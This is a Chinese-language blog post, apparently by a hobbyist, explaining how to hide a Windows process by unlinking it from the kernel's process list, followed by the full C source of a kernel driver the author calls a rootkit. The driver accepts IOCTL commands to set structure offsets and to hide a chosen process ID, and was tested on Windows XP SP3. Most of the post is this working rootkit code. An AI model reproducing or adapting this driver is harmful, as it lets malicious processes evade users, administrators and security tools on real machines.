实在不好意思拿出手,都是人家玩烂的技术了。。。可我还是要学习。。。也给小白们科普了
原理:
windows系统内核内部采用链表的方式将进程链起来。如果我们从链表中摘掉想要隐藏的进程,那么一般的采用这种方式遍历进程的工具也就没有用处了。。也就达到我们的目的了。。悲哀的任务管理器。。。具体的就不记录了。。。(但是这种方法对现在的杀毒基本不起什么作用。。除了一些弱智杀毒软件。。。)
对内核数据结构的操作需要工作在Cpu的Ring0层,一般的应用程序也就没什么用武之地了 。。只有采用驱动的方式进行。。。nb的驱动。。邪恶的驱动。。。
下面自己的写的驱动代码。。不是很稳定。。。windows xp sp3下能正常运行,其他的系统没有测试。。估计要蓝屏 因为里面有HardCode。。 蓝屏不要拍我啊 。。。


1
2 #include "ntddk.h"
3 #include "stdio.h"
4 #include "stdlib.h"
5 typedef BOOLEAN BOOL;
6 typedef unsigned long DWORD;
7 typedef DWORD * PDWORD;
8
9 #define FILE_DEVICE_ROOTKIT 0x00002a7b
10
11 #define IOCTL_ROOTKIT_INIT (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x01, METHOD_BUFFERED, FILE_WRITE_ACCESS)
12 #define IOCTL_ROOTKIT_HIDEME (ULONG) CTL_CODE(FILE_DEVICE_ROOTKIT, 0x02, METHOD_BUFFERED, FILE_WRITE_ACCESS)
13 int FLINKOFFSET;
14 int PIDOFFSET;
15 PDEVICE_OBJECT g_RootkitDevice;
16 const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\Fr";
17 const WCHAR deviceNameBuffer[] = L"\\Device\\Fr";
18
19 #define DebugPrint DbgPrint
20
21
22 NTSTATUS RootkitDispatch(IN PDEVICE_OBJECT, IN PIRP);
23
24 NTSTATUS RootkitHide(IN PDEVICE_OBJECT, IN PIRP);
25
26 NTSTATUS RootkitUnload(IN PDRIVER_OBJECT);
27
28 long FindEproc( long pID );
29
30
31 NTSTATUS DriverEntry(
32 IN PDRIVER_OBJECT DriverObject,
33 IN PUNICODE_STRING RegistryPath
34 )
35 {
36
37 NTSTATUS ntStatus;
38 UNICODE_STRING deviceNameUnicodeString;
39 UNICODE_STRING deviceLinkUnicodeString;
40 RtlInitUnicodeString (&deviceNameUnicodeString,
41 deviceNameBuffer );
42 RtlInitUnicodeString (&deviceLinkUnicodeString,
43 deviceLinkBuffer );
44
45 ntStatus = IoCreateDevice ( DriverObject,
46 0, // For driver extension
47 &deviceNameUnicodeString,
48 FILE_DEVICE_ROOTKIT,
49 0,
50 TRUE,
51 &g_RootkitDevice );
52
53 if( NT_SUCCESS(ntStatus)) {
54 ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
55 &deviceNameUnicodeString );
56
57 DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
58 DriverObject->MajorFunction[IRP_MJ_CREATE] =
59 DriverObject->MajorFunction[IRP_MJ_CLOSE] = RootkitDispatch;
60 DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = RootkitHide;
61
62 DriverObject->DriverUnload = RootkitUnload;
63 }
64 else
65 {
66 DebugPrint(("Failed to create device!\n"));
67 return ntStatus;
68 }
69
70 return STATUS_SUCCESS;
71 }
72
73
74 NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
75 {
76 UNICODE_STRING deviceLinkUnicodeString;
77 PDEVICE_OBJECT p_NextObj;
78
79 p_NextObj = DriverObject->DeviceObject;
80
81 if (p_NextObj != NULL)
82 {
83 RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
84 IoDeleteSymbolicLink( &deviceLinkUnicodeString );
85 IoDeleteDevice( DriverObject->DeviceObject );
86 return STATUS_SUCCESS;
87 }
88 return STATUS_SUCCESS;
89 }
90
91
92 NTSTATUS
93 RootkitDispatch(
94 IN PDEVICE_OBJECT DeviceObject,
95 IN PIRP Irp
96 )
97 {
98 PIO_STACK_LOCATION irpStack;
99 PVOID inputBuffer;
100 PVOID outputBuffer;
101 ULONG inputBufferLength;
102 ULONG outputBufferLength;
103 ULONG ioControlCode;
104 NTSTATUS ntstatus;
105
106 ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
107 Irp->IoStatus.Information = 0;
108 irpStack = IoGetCurrentIrpStackLocation (Irp);
109
110 inputBuffer = Irp->AssociatedIrp.SystemBuffer;
111 inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
112 outputBuffer = Irp->AssociatedIrp.SystemBuffer;
113 outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
114 ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
115
116 switch (irpStack->MajorFunction) {
117 case IRP_MJ_CREATE:
118 break;
119
120 case IRP_MJ_SHUTDOWN:
121 break;
122
123 case IRP_MJ_CLOSE:
124 break;
125
126 }
127 IoCompleteRequest( Irp, IO_NO_INCREMENT );
128 return ntstatus;
129 }
130
131
132 NTSTATUS
133 RootkitHide(
134 IN PDEVICE_OBJECT DeviceObject,
135 IN PIRP irp
136 )
137 {
138
139 NTSTATUS status = STATUS_UNSUCCESSFUL;
140
141 int Hide_ID = 0;
142
143 long eproc = 0;
144
145
146 PLIST_ENTRY pList = NULL;
147
148 PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation( irp );
149
150 long ctrlcode = irpsp->Parameters.DeviceIoControl.IoControlCode;
151 long inlength = irpsp->Parameters.DeviceIoControl.InputBufferLength;
152 long outlength= irpsp->Parameters.DeviceIoControl.OutputBufferLength;
153
154 void* pbuffer = irp->AssociatedIrp.SystemBuffer;
155
156 if ( ctrlcode == IOCTL_ROOTKIT_HIDEME)
157 {
158 Hide_ID = *((long*)pbuffer);
159 if ( Hide_ID == 0 )
160 {
161 irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
162 irp->IoStatus.Information = 0;
163 }
164 else
165 {
166
167 eproc = FindEproc( Hide_ID );
168 if ( eproc == 0)
169 {
170 irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
171 irp->IoStatus.Information = 0;
172
173 }
174 else
175 {
176 pList = (LIST_ENTRY*)(eproc + FLINKOFFSET );
177
178 pList->Blink->Flink = pList->Flink;
179 pList->Flink->Blink = pList->Blink;
180
181 irp->IoStatus.Status = STATUS_SUCCESS;
182 irp->IoStatus.Information = 0;
183 }
184
185
186 }
187 }
188
189 else if(ctrlcode == IOCTL_ROOTKIT_INIT )
190 {
191 PIDOFFSET = *((int*)pbuffer);
192 FLINKOFFSET = *((int*)pbuffer+1);
193
194 irp->IoStatus.Status = STATUS_SUCCESS;
195 irp->IoStatus.Information = 0;
196
197 }
198 else
199 {
200 irp->IoStatus.Information = 0;
201 irp->IoStatus.Status = STATUS_INVALID_PARAMETER;
202 }
203
204
205
206 IoCompleteRequest( irp, IO_NO_INCREMENT );
207
208 return irp->IoStatus.Status;
209 }
210
211
212
213
214 long FindEproc( long pID )
215 {
216
217 long eproc = 0;
218 long lcurID = 0;
219 long lstartID = 0;
220 long lCount = 0;
221 PLIST_ENTRY p = NULL;
222
223 if ( pID == 0 )
224 {
225 return pID;
226 }
227
228 eproc = (long )PsGetCurrentProcess( );
229 lcurID = *((long*)(eproc + PIDOFFSET));
230 lstartID = lcurID;
231
232 p = (PLIST_ENTRY) (eproc + FLINKOFFSET ) ;
233
234
235
236 while( 1 )
237 {
238
239 if ( lCount > 1 && lstartID == lcurID )
240 {
241 return 0;
242 }
243
244
245 p = p->Flink;
246 eproc = (long) (p );
247
248 eproc = eproc - FLINKOFFSET;
249
250 lcurID = *((long*)(eproc + PIDOFFSET));
251
252 lCount++;
253
254
255 if ( lcurID == pID )
256 {
257 return (long)eproc;
258 }
259
260 }
261
262 }
263